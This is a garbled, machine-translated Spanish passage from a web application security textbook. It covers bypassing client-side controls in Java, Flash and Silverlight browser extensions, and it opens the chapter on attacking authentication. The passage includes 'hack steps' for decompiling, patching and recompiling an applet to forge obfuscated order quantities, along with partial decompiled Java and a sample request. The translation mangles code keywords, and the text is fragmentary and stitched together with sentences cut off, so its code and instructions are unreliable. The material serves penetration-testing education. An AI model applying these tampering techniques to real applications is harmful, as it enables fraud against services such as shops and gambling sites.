componentes del lado del cliente totalmente funcionales. Estos se ejecutan dentro del navegador,
en múltiples plataformas de clientes y brindan retroalimentación, fl exibilidad y manejo de una
aplicación de escritorio . Un efecto secundario es que las tareas de procesamiento que
anteriormente habrían tenido lugar en el servidor pueden descargarse en el cliente por razones
de velocidad y experiencia del usuario. En algunos casos, como las aplicaciones comerciales
en línea, la velocidad es tan crítica que gran parte de la lógica de la aplicación clave tiene lugar
en el lado del cliente. El diseño de la aplicación puede sacrifi car deliberadamente la seguridad
en favor de la velocidad, quizás con la creencia errónea de que los comerciantes son usuarios
confiables o que la extensión del navegador incluye sus propias defensas. Al recordar el
problema central de seguridad discutido en el Capítulo 2 y las secciones anteriores de este
capítulo, sabemos que el concepto de un componente del lado del cliente que defiende su lógica comercial es impo
Las extensiones del navegador pueden capturar datos de varias maneras: a través de
formularios de entrada y, en algunos casos, interactuando con el registro o el sistema de
archivos del sistema operativo del cliente . Pueden realizar validaciones y manipulaciones
arbitrariamente complejas de los datos capturados antes de enviarlos al servidor. Además,
debido a que su funcionamiento interno es menos transparente que los formularios HTML y
JavaScript, es más probable que los desarrolladores asuman que la validación que realizan no
se puede eludir. Por esta razón, las extensiones de navegador suelen ser un objetivo fructífero
para descubrir vulnerabilidades dentro de las aplicaciones web.
Un ejemplo clásico de una extensión de navegador que aplica controles en el lado del cliente
es un componente de casino. Dado lo que hemos observado sobre la naturaleza falible de los
controles del lado del cliente, la idea de implementar una aplicación de juegos de apuestas en
línea utilizando una extensión de navegador que se ejecuta localmente en el sitio de un atacante potencial
Machine Translated by Google
n Se puede confiar en el componente del cliente para mantener el estado del juego. En este caso,
la manipulación local del estado del juego le daría al atacante una ventaja en el juego.
n Un atacante podría eludir un control del lado del cliente y realizar una acción ilegal
diseñado para darse una ventaja dentro del juego.
n Un atacante podría encontrar una función, parámetro o recurso oculto que, cuando se invoca,
permite el acceso ilegítimo a un recurso del lado del servidor. n Si en el juego participan
compañeros o un jugador interno, el componente del cliente podría estar recibiendo y procesando
información sobre otros jugadores que, de conocerse, podría utilizarse en beneficio del atacante.
n Pueden usar marcos remotos que empleen serialización para transmitir estructuras de datos u
objetos complejos a través de HTTP.
Java
Los subprogramas de Java se ejecutan en la máquina virtual de Java (JVM) y están sujetos al
sandboxing aplicado por la política de seguridad de Java. Debido a que Java ha existido desde los
inicios de la historia de la web, y debido a que sus conceptos básicos se han mantenido relativamente
sin cambios, hay disponible una gran cantidad de conocimientos y herramientas para atacar y defender
los applets de Java, como se describe más adelante en este capítulo.
Destello
Los objetos Flash se ejecutan en la máquina virtual Flash y, al igual que los subprogramas de Java,
se encuentran en un espacio aislado del equipo host. Una vez que se usó en gran medida como un
método para entregar contenido animado, Flash ha avanzado. Con versiones más recientes de ActionScript,
Machine Translated by Google
Luz plateada
Serialización de Java
El lenguaje Java contiene soporte nativo para la serialización de objetos, y los subprogramas
de Java pueden usar esto para enviar estructuras de datos serializados entre los componentes
de la aplicación cliente y servidor. Los mensajes que contienen objetos Java serializados
generalmente se pueden identificar porque tienen el siguiente encabezado de tipo de contenido :
Tipo de contenido: aplicación/x-java-objeto serializado
Habiendo interceptado los datos serializados sin procesar usando su proxy, puede deserializarlos
usando el propio Java para obtener acceso a los elementos de datos primitivos que contiene.
DSer es un complemento útil para Burp Suite que proporciona un marco para
ver y manipular objetos Java serializados que han sido interceptados dentro de Burp.
Esta herramienta convierte los datos primitivos dentro del objeto interceptado en formato XML para
facilitar la edición. Cuando haya modificado los datos relevantes, DSer vuelve a serializar el objeto
y actualiza la solicitud HTTP en consecuencia.
Machine Translated by Google
http://blog.andlabs.org/2010/09/re-visiting-java-de-serialization-it.html
Serialización Flash
Flash usa su propio formato de serialización que se puede usar para transmitir estructuras de
datos complejas entre los componentes del servidor y el cliente. El formato de mensaje de acción
(AMF) normalmente se puede identificar a través del siguiente encabezado de tipo de contenido :
Tipo de contenido: aplicación/x-amf
Burp admite de forma nativa el formato AMF. Cuando identifica una solicitud o respuesta HTTP
que contiene datos AMF serializados, desempaqueta el contenido y lo presenta en forma de árbol
para verlo y editarlo, como se muestra en la Figura 5-5. Cuando haya modificado los elementos
de datos primitivos relevantes dentro de la estructura, Burp vuelve a serializar el mensaje y puede
reenviarlo al servidor o cliente para que lo procese.
Figura 5-5: Burp Suite es compatible con el formato AMF y le permite ver y editar los
datos deserializados
Machine Translated by Google
Serialización de Silverlight
Las aplicaciones de Silverlight pueden utilizar el marco de comunicación remota de Windows
Communication Foundation (WCF) integrado en la plataforma .NET. Los componentes de
cliente de Silverlight que utilizan WCF suelen emplear el formato binario .NET de Microsoft
para SOAP (NBFS), que se puede identificar a través del siguiente encabezado de tipo de contenido :
Tipo de contenido: aplicación/soap+msbin1
Hay un complemento disponible para Burp Proxy que deserializa automáticamente los datos
codificados de NBFS antes de que se muestren en la ventana de intercepción de Burp. Una vez
que haya visto o editado los datos decodificados, el complemento vuelve a codificar los datos
antes de enviarlos al servidor o al cliente para su procesamiento.
El complemento binario SOAP de WCF para Burp fue producido por Brian Holyfield
y está disponible para descargar aquí:
www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/
Si configuró su navegador para usar un proxy de interceptación, es posible que descubra que las
solicitudes realizadas por los componentes de la extensión del navegador no están siendo
interceptadas por su proxy o están fallando. Este problema generalmente se debe a problemas
con el manejo del componente de proxies HTTP o SSL (o ambos). Por lo general, se puede
manejar a través de una configuración cuidadosa de sus herramientas.
El primer problema es que es posible que el componente del cliente no respete la configuración
del proxy que ha especificado en su navegador o en la configuración de su computadora. Esto se
debe a que los componentes pueden emitir sus propias solicitudes HTTP, fuera de las API
proporcionadas por el propio navegador o el marco de la extensión. Si esto sucede , aún puede
interceptar las solicitudes del componente. Debe modificar el archivo de hosts de su computadora
para lograr la intercepción y configurar su proxy para que admita el proxy invisible y la redirección
automática al host de destino correcto. Consulte el Capítulo 20 para obtener más detalles sobre
cómo hacerlo.
El segundo problema es que el componente del cliente puede no aceptar el certificado SSL
presentado por su proxy de intercepción. Si su proxy utiliza un certificado autofirmado genérico y
ha configurado su navegador para que lo acepte, el componente de extensión del navegador
puede rechazar el certificado de todos modos. Esto puede deberse a que la extensión del
navegador no detecta la configuración del navegador para certificados de confianza temporales,
o puede deberse a que el propio componente requiere mediante programación que no se acepten
certificados que no son de confianza.
En cualquier caso, puede sortear este problema configurando su proxy para usar un certificado
de CA maestro, que se usa para firmar certificados válidos por host para cada sitio que visita, e
instalando el certificado de CA en el certificado de confianza de su computadora. tienda de cate.
Consulte el Capítulo 20 para obtener más detalles sobre cómo hacerlo.
En algunos casos raros, puede encontrar que los componentes del cliente se comunican
usando un protocolo diferente a HTTP, que simplemente no se puede manejar usando un
Machine Translated by Google
proxy interceptor. En estas situaciones, es posible que aún pueda ver y modificar el
tráfico afectado utilizando un rastreador de red o una herramienta de enlace de funciones.
Un ejemplo es Echo Mirage, que puede inyectarse en un proceso e interceptar
llamadas a API de socket, lo que le permite ver y modificar datos antes de que se
envíen a través de la red. Echo Mirage se puede descargar desde la siguiente URL:
www.bindshell.net/tools/echomirage
PASOS DE HACK
3. Revise las respuestas del servidor que activan la lógica clave del lado del cliente. A
menudo, la interceptación oportuna y la modificación de una respuesta del servidor
pueden permitirle "desbloquear" la GUI del cliente, lo que facilita la revelación y luego
la realización de acciones privilegiadas complejas o de varias etapas.
4. Si la aplicación realiza cualquier lógica crítica o eventos en los que no se debe confiar
en el componente del cliente (como sacar una carta o tirar los dados en una aplicación
de apuestas), busque cualquier correlación entre la ejecución de la lógica crítica y la
comunicación con el servidor. Si el cliente no se comunica con el servidor para
determinar el resultado del evento, la aplicación es definitivamente vulnerable.
</applet>
En algunos casos, la URL que carga el código de bytes puede ser menos obvia de inmediato , ya
que el componente puede cargarse utilizando varios scripts de envoltorio proporcionados por los
diferentes marcos de extensión del navegador. Otra forma de identificar la URL para el código de bytes
es buscar en su historial de proxy después de que su navegador haya cargado la extensión del
navegador. Si adopta este enfoque, debe tener en cuenta dos posibles obstáculos:
n Algunas herramientas de proxy aplican fi ltros al historial de proxy para ocultar de la vista
elementos como imágenes y archivos de hojas de estilo que generalmente le interesan menos.
Si no puede encontrar una solicitud para el código de bytes de la extensión del navegador, debe
modificar el proxy. Filtro de visualización de historial para que todos los elementos sean visibles.
Los navegadores generalmente almacenan en caché el código de bytes descargado para los
componentes de extensión de manera más agresiva que para otros recursos estáticos, como las imágenes.
Si su navegador ya ha cargado el código de bytes para un componente, es posible que incluso
si realiza una actualización completa de una página que usa el componente, el navegador no
solicite el componente nuevamente. En esta eventualidad, es posible que deba borrar
completamente el caché de su navegador, cerrar todas las instancias del navegador y luego
iniciar una nueva sesión del navegador para obligar a su navegador a solicitar el código de bytes
nuevamente.
Cuando haya identificado la URL para el código de bytes de la extensión del navegador, por lo
general puede simplemente pegar esta URL en la barra de direcciones de su navegador. Luego, su
navegador le solicita que guarde el archivo de código de bytes en su sistema de archivos local.
desde dentro de Burp. La forma más confiable de hacerlo es seleccionar la pestaña Encabezados
dentro del visor de respuestas, hacer clic con el botón derecho en el panel inferior que contiene
el cuerpo de la respuesta y seleccionar Copiar a archivo en el menú contextual.
El código de bytes generalmente se distribuye en un paquete de un solo archivo, que puede ser necesario
desempaquetar para obtener los archivos de código de bytes individuales para descompilarlos en el código
fuente.
Los applets de Java normalmente se empaquetan como archivos .jar (archivo Java), y los objetos de
Silverlight se empaquetan como archivos .xap . Ambos tipos de archivos usan el formato de archivo zip,
por lo que puede descomprimirlos fácilmente cambiando el nombre de los archivos con la extensión .zip y
luego usando cualquier lector zip para descomprimirlos en los archivos individuales que contienen. El
código de bytes de Java está contenido en archivos .class y el código de bytes de Silverlight está contenido
en archivos .dll . Después de descomprimir el paquete de archivos relevante, debe descompilar estos
archivos para obtener el código fuente.
Los objetos Flash se empaquetan como archivos .swf y no es necesario desempaquetarlos
antes de usar un descompilador.
Para realizar la descompilación del código de bytes real, debe utilizar algunas herramientas específicas,
según el tipo de tecnología de extensión del navegador que se utilice, como se describe en las siguientes
secciones.
Herramientas Java
El código de bytes de Java se puede descompilar en el código fuente de Java usando una herramienta llamada
Jad (el descompilador de Java), que está disponible en:
www.varaneckas.com/jad
Herramientas flash
n Flasm — www.nowrap.de/flasm
n Llamarada — www.nowrap.de/flare
Herramientas de
Silverlight El código de bytes de Silverlight se puede descompilar en código fuente usando una herramienta
llamada .NET Refl ector, que está disponible en:
www.red-gate.com/products/dotnet-development/reflector/
Machine Translated by Google
n Validación de entrada u otra lógica y eventos relevantes para la seguridad que ocurren en el
lado del cliente
n Rutinas de ofuscación o cifrado que se utilizan para envolver los datos proporcionados por el
usuario antes de que se envíen al servidor
n Funcionalidad del lado del cliente "oculta" que no está visible en su interfaz de usuario pero
que puede desbloquear modificando el componente n Referencias a la funcionalidad del
modificar el código fuente descompilado para cambiar el comportamiento del componente, volver
a compilarlo en código de bytes y ejecutar el componente modificado dentro de su navegador. A
menudo se prefiere este enfoque cuando se necesita manipular eventos clave del lado del cliente,
como el lanzamiento de dados en una aplicación de juegos.
Para realizar la recompilación, debe usar las herramientas de desarrollador que son relevantes
para la tecnología que está usando:
n Para Flash, puede usar flasm para volver a ensamblar su código de bytes modificado o
uno de los estudios de desarrollo de Flash de Adobe para volver a compilar el código
fuente de ActionScript modificado.
n Para Silverlight, use Visual Studio para volver a compilar su código fuente modificado.
Después de volver a compilar su código fuente en uno o más archivos de código de bytes,
es posible que deba volver a empaquetar el archivo distribuible si es necesario para la
tecnología que se utiliza. Para Java y Silverlight, reemplace los archivos de bytecode modificados en su
Machine Translated by Google
archivo desempaquetado, vuelva a empaquetar usando una utilidad zip y luego cambie la
extensión de nuevo a .jar o .xap según corresponda.
El paso final es cargar su componente modificado en su navegador para que sus cambios
surtan efecto dentro de la aplicación que está probando. Puedes lograr esto de varias maneras:
n Si puede encontrar el archivo físico dentro del caché en disco de su navegador que contiene
el ejecutable original, puede reemplazarlo con su versión modificada y reiniciar su
navegador. Este enfoque puede ser difícil si su navegador no usa un archivo individual
diferente para cada recurso almacenado en caché.
o si el almacenamiento en caché de los componentes de la extensión del navegador se implementa solo
en la memoria.
n Usando su proxy de interceptación, puede modificar el código fuente de la página que carga
el componente y especificar una URL diferente, apuntando al sistema de archivos local o
al servidor web que usted controla. Este enfoque normalmente es difícil porque cambiar el
dominio desde el cual se carga el componente puede violar la política del mismo origen
del navegador y puede requerir reconfigurar su navegador u otros métodos para debilitar
esta política.
n Puede hacer que su navegador vuelva a cargar el componente desde el servidor original
(como se describe en la sección anterior "Descarga del código de bytes"), use su proxy
para interceptar la respuesta que contiene el ejecutable y reemplace el cuerpo del mensaje
con su modificado versión. En Burp Proxy, puede usar la opción de menú contextual Pegar
desde archivo para lograr esto. Este enfoque suele ser el más fácil y el menos probable
de encontrarse con los problemas descritos anteriormente.
casos, no es necesario modificar el código de bytes del componente. En su lugar, puede lograr sus objetivos
modificando el JavaScript dentro de la página HTML que interactúa con el componente.
Después de revisar el código fuente del componente, puede identificar todos sus
métodos públicos que se pueden invocar directamente desde JavaScript y la forma en que
se manejan los parámetros de esos métodos. A menudo, hay más métodos disponibles de
los que se llaman desde las páginas de la aplicación, y también puede descubrir más sobre
el propósito y el manejo de los parámetros de estos métodos.
Por ejemplo, un componente puede exponer un método que se puede invocar para
habilitar o deshabilitar partes de la interfaz de usuario visible. Usando su proxy de
interceptación, puede editar la página HTML que carga el componente y modificar o agregar
JavaScript para desbloquear partes de la interfaz que están ocultas.
PASOS DE HACK
1. Utilice las técnicas descritas para descargar el código de bytes del componente,
descomprimirlo y descompilarlo en código fuente.
2. Revise el código fuente relevante para comprender qué procesamiento se está realizando.
realizado.
3. Si el componente contiene métodos públicos que se pueden manipular para lograr su
objetivo, intercepte una respuesta HTML que interactúe con el componente y
agregue algo de JavaScript para invocar los métodos apropiados usando su entrada.
descanso;
...
n Más allá, algunos ofuscadores reemplazan los nombres de los elementos con palabras clave
reservadas para el idioma, como nuevo e int. Aunque técnicamente esto hace que el código de
bytes sea ilegal, la mayoría de las máquinas virtuales (VM) toleran el código ilegal y se ejecuta
normalmente. Sin embargo, incluso si un descompilador puede manejar el código de bytes
ilegal, el código fuente resultante es incluso menos legible que el que se acaba de describir.
Más importante aún, la fuente no se puede volver a compilar sin una extensa reelaboración para
renombrar constantemente los elementos con nombres ilegales.
n Se puede agregar código redundante que cree y manipule varios tipos de datos de manera
significativa, pero que sea independiente de los datos reales que la funcionalidad de la aplicación
utiliza.
Machine Translated by Google
PASOS DE HACK
Las tácticas efectivas para hacer frente a la ofuscación del código de bytes dependen
de las técnicas utilizadas y el propósito para el que está analizando la fuente. Aquí hay
algunas sugerencias:
1. Puede revisar un componente para métodos públicos sin estar totalmente bajo
de pie la fuente. Debería ser obvio qué métodos se pueden invocar desde JavaScript
y cuáles son sus firmas, lo que le permite probar el comportamiento de los métodos
pasando varias entradas.
D9SmG7c”>
<script>
function validarForm(elFormulario)
{
var obfquantity =
document.CheckQuantityApplet.doCheck( theForm.quantity.value,
theForm.obfpad.value); si (obfcantidad == indefinido)
{
alert('Ingrese una cantidad válida.');
falso retorno;
} theForm.quantity.value = obfquantity;
devolver verdadero;
} </script>
<applet code=”CheckQuantity.class” codebase=”/scripts” width=”0” height=”0” id=”CheckQuantityApplet”></
applet>
obfpad=klGSB8X9x0WFv9KGqilePdqaxHIsU5RnojwPdBRgZuiXSB3TgkupaFigjUQm8CIP5
HJxpidrPOuQ
Pw63ogZ2vbyiOevPrkxFiuUxA8Gn30o1ep2Lax6IyuyEUD9SmG7c&quantity=4b282c510f
776a405f465
877090058575f445b536545401e4268475e105b2d15055c5d5204161000
Como puede ver en el código HTML, cuando se envía el formulario, el script de validación
pasa la cantidad suministrada por el usuario y el valor del parámetro obfpad a un subprograma
de Java llamado CheckQuantity. Aparentemente, el applet realiza la validación de entrada
necesaria y devuelve al script una versión ofuscada de la cantidad, que luego se envía al
servidor.
Dado que la aplicación del lado del servidor confirma nuestro pedido de dos unidades, está
claro que el parámetro de cantidad de alguna manera contiene el valor que hemos solicitado.
Sin embargo, si tratamos de modificar este parámetro sin conocer el algoritmo de ofuscación,
el ataque falla, presumiblemente porque el servidor no logra desempaquetar correctamente
nuestro valor ofuscado.
Machine Translated by Google
Dado que el ejecutable no está empaquetado como un archivo .jar , no es necesario desempaquetarlo.
y podemos ejecutar Jad directamente en el archivo .class descargado :
Jad genera el código fuente descompilado como un archivo .jad , que podemos ver en
cualquier editor de texto:
importar java.applet.Applet;
romper MISSING_BLOCK_LABEL_26;
excepción excepción; excepción;
devolver nulo;
String s2 = (nuevo StringBuilder()).append(“rand=”).append
(Math.random()).append(“&q=”).append(Integer.toString(i)).append (“&checked= verdadero”).toString();
StringBuilder constructor de cadenas = new StringBuilder(); for(int j = 0; j < s2.longitud(); j++)
{
Cadena s3 = (nuevo StringBuilder()).agregar('0').agregar
(Integer.toHexString((byte)s1.charAt((j * 19 + 7) % s1.length()) ^ s2.charAt(j))).toString();
Machine Translated by Google
{
Cadena s3 = (nuevo StringBuilder()).agregar('0').agregar
Machine Translated by Google
}
devuelve constructor de cadenas.toString();
}
}
Esta versión del componente modificado proporciona una cadena ofuscada válida para
la cantidad arbitraria de 999. Tenga en cuenta que aquí puede usar entradas no numéricas ,
lo que le permite sondear la aplicación en busca de varios tipos de vulnerabilidades
basadas en entradas.
Todo lo que queda es volver a compilar el código fuente usando el compilador javac
que viene con el SDK de Java y luego ejecutar el componente desde la línea de comandos:
¡INTENTALO!
http://mdsec.net/shop/167/
http://mdsec.net/shop/179/
Machine Translated by Google
Adjuntar un depurador
La descompilación es el método más completo para comprender y comprometer una extensión
del navegador. Sin embargo, en componentes grandes y complejos que contienen decenas de
miles de líneas de código, casi siempre es mucho más rápido observar el componente durante
la ejecución, correlacionando métodos y clases con acciones clave dentro de la interfaz. Este
enfoque también evita las dificultades que pueden surgir al interpretar y volver a compilar el
código de bytes ofuscado. A menudo, lograr un objetivo específico es tan simple como ejecutar
una función clave y alterar su comportamiento para eludir los controles implementados dentro
del componente.
Debido a que el depurador funciona a nivel de código de bytes, se puede usar fácilmente
para controlar y comprender el flujo de ejecución. En particular, si el código fuente se puede
obtener a través de la descompilación, se pueden establecer puntos de interrupción en líneas
específicas de código, lo que permite que la comprensión obtenida a través de la descompilación
se apoye en la observación práctica de la ruta del código tomada durante la ejecución.
Aunque los depuradores eficientes no están completamente desarrollados para todas las
tecnologías de extensión del navegador, la depuración es compatible con los applets de Java.
Con mucho, el mejor recurso para esto es JavaSnoop, un depurador de Java que puede
integrar Jad para descompilar código fuente, rastrear variables a través de una aplicación y
establecer puntos de interrupción en métodos para ver y modificar parámetros. La Figura 5-6
muestra el uso de JavaSnoop para conectarse directamente a un applet de Java que se ejecuta
en el navegador. La figura 5-7 muestra el uso de JavaSnoop para alterar el valor de retorno de un método.
para descompilar, modificar y recompilar un archivo de clase clave y luego usar JSwat para
intercambiarlo en caliente en la aplicación en ejecución. Para usar JSwat, debe iniciar un
subprograma con la herramienta appletviewer incluida en el JDK y luego conectarlo a JSwat.
Por ejemplo, podrías usar este comando:
servidor=y,suspender=n,dirección=5000 appletpage.htm
Figura 5-7: Una vez que se ha identificado un método adecuado, se puede usar
JavaSnoop para alterar el valor de retorno del método
Cuando trabaja en objetos Silverlight, puede usar la herramienta Silverlight Spy para monitorear
la ejecución del componente en tiempo de ejecución. Esto puede ser de gran ayuda para
correlacionar las rutas de código relevantes con los eventos que ocurren dentro de la interfaz de usuario.
Silverlight Spy está disponible en la siguiente URL:
http://firstfloorsoftware.com/SilverlightSpy/
Machine Translated by Google
controles de seguridad del lado del cliente, estos son algunos ejemplos de esta funcionalidad:
que la configuración del proxy y otras configuraciones corporativas estén vigentes n Integración con
Por lo general, este tipo de acciones requieren el uso de componentes de código nativo, que integran la
funcionalidad de la aplicación local con la funcionalidad de la aplicación web . Los componentes de cliente
nativos a menudo se entregan a través de controles ActiveX. Estas son extensiones de navegador
personalizadas que se ejecutan fuera del entorno limitado del navegador.
Los componentes de clientes nativos pueden ser significativamente más difíciles de descifrar que otras
extensiones de navegador, porque no existe un equivalente al código de bytes intermedio.
Sin embargo, los principios de eludir los controles del lado del cliente aún se aplican, incluso si esto requiere
un conjunto de herramientas diferente. Estos son algunos ejemplos de herramientas populares utilizadas
para esta tarea:
n OllyDbg es un depurador de Windows que se puede usar para recorrer el código ejecutable nativo,
establecer puntos de interrupción y aplicar parches a los ejecutables, ya sea en el disco o en tiempo
de ejecución.
n IDA Pro es un desensamblador que puede producir código ensamblador legible por humanos a partir
de código ejecutable nativo en una amplia variedad de plataformas.
Aunque una descripción completa está fuera del alcance de este libro, los siguientes son algunos
recursos útiles si desea obtener más información sobre la ingeniería inversa de componentes de código
nativo y temas relacionados:
n The IDA Pro Book: La guía no oficial del desensamblador más popular del mundo
por Chris Eagle
n www.acm.uiuc.edu/sigmil/RevEng
n www.uninformed.org/?v=1&a=7
Machine Translated by Google
Como ha visto, el principal problema de seguridad con las aplicaciones web surge porque los
componentes del lado del cliente y la entrada del usuario están fuera del control directo del servidor.
El cliente, y todos los datos recibidos de él, son intrínsecamente poco fiables.
n Si los usuarios conocen y/o controlan el valor de texto sin formato de las
cadenas cifradas que se les envían, pueden realizar varios ataques
criptográficos para descubrir la clave de cifrado que utiliza el servidor. Una
vez hecho esto, pueden cifrar valores arbitrarios y eludir por completo la
protección que ofrece la solución.
Machine Translated by Google
n Los controles ligeros del lado del cliente, como los campos de formulario HTML y
JavaScript , se pueden eludir fácilmente y no brindan seguridad sobre la entrada que
recibe el servidor.
La única forma segura de validar los datos generados por el cliente está en el lado del
servidor de la aplicación. Cada elemento de datos recibido del cliente debe considerarse
contaminado y potencialmente malicioso.
MITO COMÚN
A veces se cree que cualquier uso de los controles del lado del cliente es malo. En
particular, algunos probadores de penetración profesionales informan la presencia
de controles del lado del cliente como un "hallazgo" sin verificar si están replicados
en el servidor o si existe alguna explicación no relacionada con la seguridad para su
existencia. De hecho, a pesar de las importantes advertencias que surgen de los
diversos ataques descritos en este capítulo, existen formas de usar los controles del
lado del cliente que no dan lugar a ninguna vulnerabilidad de seguridad: n Los scripts
del lado del cliente se pueden usar para validar la entrada como un medio para
mejorar la usabilidad, evitando la necesidad de una comunicación de ida y
vuelta con el servidor. Por ejemplo, si el usuario ingresa su fecha de nacimiento
en un formato incorrecto, alertarlo sobre el problema a través de un script del
lado del cliente brinda una experiencia mucho más fluida. Por supuesto, la
aplicación debe revalidar el elemento enviado cuando llega al servidor.
Continuado
Machine Translated by Google
n A veces, la validación de datos del lado del cliente puede ser eficaz como
medida de seguridad, por ejemplo, como defensa contra ataques de
secuencias de comandos entre sitios basados en DOM. Sin embargo, estos son
casos en los que el foco del ataque es otro usuario de la aplicación, en lugar de
la aplicación del lado del servidor, y la explotación de una vulnerabilidad potencial
no depende necesariamente de la transmisión de datos maliciosos al servidor.
Consulte los Capítulos 12 y 13 para obtener más detalles sobre este tipo de escenario.
Registro y alertas
Cuando una aplicación emplea mecanismos como límites de longitud y validación basada
en JavaScript para mejorar el rendimiento y la facilidad de uso, estos deben integrarse
con las defensas de detección de intrusos del lado del servidor. La lógica del lado del
servidor que realiza la validación de los datos enviados por el cliente debe tener en cuenta
la validación que ya se ha producido en el lado del cliente. Si se reciben datos que habrían
sido bloqueados por la validación del lado del cliente, la aplicación puede inferir que un
usuario está eludiendo activamente esta validación y, por lo tanto, es probable que sea malicioso.
Las anomalías deben registrarse y, si corresponde, los administradores de aplicaciones deben
ser alertados en tiempo real para que puedan monitorear cualquier intento de ataque y tomar
las medidas adecuadas según sea necesario. La aplicación también puede defenderse
activamente cerrando la sesión del usuario o incluso suspendiendo su cuenta.
NOTA En algunos casos en los que se emplea JavaScript, la aplicación aún puede ser
utilizada por usuarios que han deshabilitado JavaScript en sus navegadores. En esta
situación, el navegador simplemente omite el código de validación de formulario
basado en JavaScript y se envía la entrada sin procesar ingresada por el usuario. Para
evitar falsos positivos, el mecanismo de registro y alerta debe saber dónde y cómo puede surgir.
Resumen
Prácticamente todas las aplicaciones cliente/servidor deben aceptar el hecho de que no se
puede confiar en que el componente cliente y todo el procesamiento que se produce en él se
comporte como se espera. Como ha visto, los métodos de comunicación transparentes que
generalmente emplean las aplicaciones web significan que un atacante equipado con
herramientas simples y habilidades mínimas puede eludir fácilmente la mayoría de los controles
implementados en el cliente. Incluso cuando una aplicación intenta ofuscar los datos y el
procesamiento que residen en el lado del cliente, un atacante determinado puede comprometer estas defensas.
Machine Translated by Google
En cada instancia en la que identifique datos que se transmiten a través del cliente, o
la validación de la entrada proporcionada por el usuario que se implementa en el cliente,
debe probar cómo responde el servidor a los datos inesperados que eluden esos controles.
A menudo, graves vulnerabilidades acechan detrás de las suposiciones de una aplicación sobre la
protección que le brindan las defensas que se implementan en el cliente.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. ¿Cómo se pueden transmitir los datos a través del cliente de una manera que evite la manipulación?
ing ataques?
2. Un desarrollador de aplicaciones quiere evitar que un atacante realice ataques de fuerza bruta
contra la función de inicio de sesión. Debido a que el atacante puede apuntar a múltiples
nombres de usuario, el desarrollador decide almacenar el número de intentos fallidos en una
cookie cifrada, bloqueando cualquier solicitud si el número de intentos fallidos supera los cinco.
¿Cómo se puede eludir esta defensa?
3. Una aplicación contiene una página administrativa que está sujeta a rigurosos controles de
acceso. Contiene enlaces a funciones de diagnóstico ubicadas en un servidor web diferente. El
acceso a estas funciones también debe estar restringido
sólo a los administradores. Sin implementar un segundo mecanismo de
autenticación , ¿cuál de los siguientes mecanismos del lado del cliente (si
corresponde) podría usarse para controlar de forma segura el acceso a la
funcionalidad de diagnóstico? ¿ Necesita más información para ayudar a elegir una solución?
(a) Las funciones de diagnóstico podrían verificar el encabezado HTTP Referer para confirmar
que la solicitud se originó en la página administrativa principal. (b) Las funciones de
diagnóstico podrían validar las cookies proporcionadas para confirmar que contienen un token
de sesión válido para la aplicación principal. (c) La aplicación principal podría establecer un
Capítulo R
Autenticación de ataque
159
Machine Translated by Google
Tecnologías de autenticación
Una amplia gama de tecnologías está disponible para los desarrolladores de aplicaciones web
cuando implementan mecanismos de autenticación:
Con mucho, el mecanismo de autenticación más común empleado por las aplicaciones web
utiliza formularios HTML para capturar un nombre de usuario y una contraseña y enviarlos a la
aplicación. Este mecanismo representa más del 90% de las aplicaciones que probablemente
encuentre en Internet.
En aplicaciones de Internet más críticas para la seguridad, como la banca en línea, este
mecanismo básico a menudo se expande en múltiples etapas, lo que requiere que el usuario
envíe credenciales adicionales, como un PIN o caracteres seleccionados de una palabra secreta.
Los formularios HTML todavía se utilizan normalmente para capturar datos relevantes.
En las aplicaciones más críticas para la seguridad, como la banca privada para personas de
alto valor, es común encontrar mecanismos multifactoriales que utilizan tokens físicos. Estos
tokens generalmente producen un flujo de códigos de acceso de un solo uso o realizan una
función de desafío-respuesta basada en la entrada especificada por la aplicación.
A medida que el costo de esta tecnología disminuya con el tiempo, es probable que más
aplicaciones empleen este tipo de mecanismo. Sin embargo, muchas de estas soluciones en
realidad no abordan las amenazas para las que fueron diseñadas, principalmente los ataques de
phishing y los que emplean troyanos del lado del cliente.
Algunas aplicaciones web emplean certificados SSL del lado del cliente o mecanismos
criptográficos implementados dentro de las tarjetas inteligentes. Debido a la sobrecarga de
administración y distribución de estos elementos, por lo general se utilizan solo en áreas críticas para la seguridad.
Machine Translated by Google
contextos en los que la base de usuarios de una aplicación es pequeña, como las VPN basadas en web para
trabajadores de oficinas remotas.
Los mecanismos de autenticación basados en HTTP (básico, resumen e integrado de Windows) rara vez
se utilizan en Internet. Se encuentran mucho más comúnmente en entornos de intranet donde los usuarios
internos de una organización obtienen acceso a las aplicaciones corporativas proporcionando sus credenciales
normales de red o dominio. Luego, la aplicación procesa estas credenciales utilizando una de estas tecnologías.
Los servicios de autenticación de terceros, como Microsoft Passport, se encuentran ocasionalmente , pero
en la actualidad no se han adoptado en una escala significativa.
La mayoría de las vulnerabilidades y ataques que surgen en relación con la autenticación pueden aplicarse
La funcionalidad de autenticación está sujeta a más debilidades de diseño que cualquier otro mecanismo de
seguridad comúnmente empleado en aplicaciones web. Incluso en el modelo estándar aparentemente simple
en el que una aplicación autentica a los usuarios en función de su nombre de usuario y contraseña, las
deficiencias en el diseño de este modelo pueden hacer que la aplicación sea muy vulnerable al acceso no
autorizado.
malas contraseñas
Muchas aplicaciones web emplean controles mínimos o nulos sobre la calidad de las
contraseñas de los usuarios. Es común encontrar aplicaciones que permiten contraseñas que son:
La figura 6-1 muestra un ejemplo de reglas de calidad de contraseña débiles. Los usuarios finales
típicamente muestran poca conciencia de los problemas de seguridad. Por lo tanto, es muy probable que una
aplicación que no aplique estándares de contraseñas seguras contenga una gran cantidad de cuentas de
usuario con contraseñas débiles establecidas. Un atacante puede adivinar fácilmente las contraseñas de estas
cuentas, otorgándole acceso no autorizado a la aplicación.
Machine Translated by Google
Figura 6-1: Una aplicación que impone reglas de calidad de contraseña débiles
PASOS DE HACK
contraseñas: 1. Revise el sitio web para obtener una descripción de las reglas.
NOTA Si las reglas de calidad de las contraseñas se hacen cumplir solo a través de controles
del lado del cliente, esto no es en sí mismo un problema de seguridad, porque los usuarios
comunes seguirán estando protegidos. Normalmente, no es una amenaza para la seguridad de
una aplicación que un atacante astuto pueda asignarse una contraseña débil.
¡INTENTALO!
http://mdsec.net/auth/217/
La funcionalidad de inicio de sesión presenta una invitación abierta para que un atacante intente
adivinar nombres de usuario y contraseñas y, por lo tanto, obtenga acceso no autorizado a la
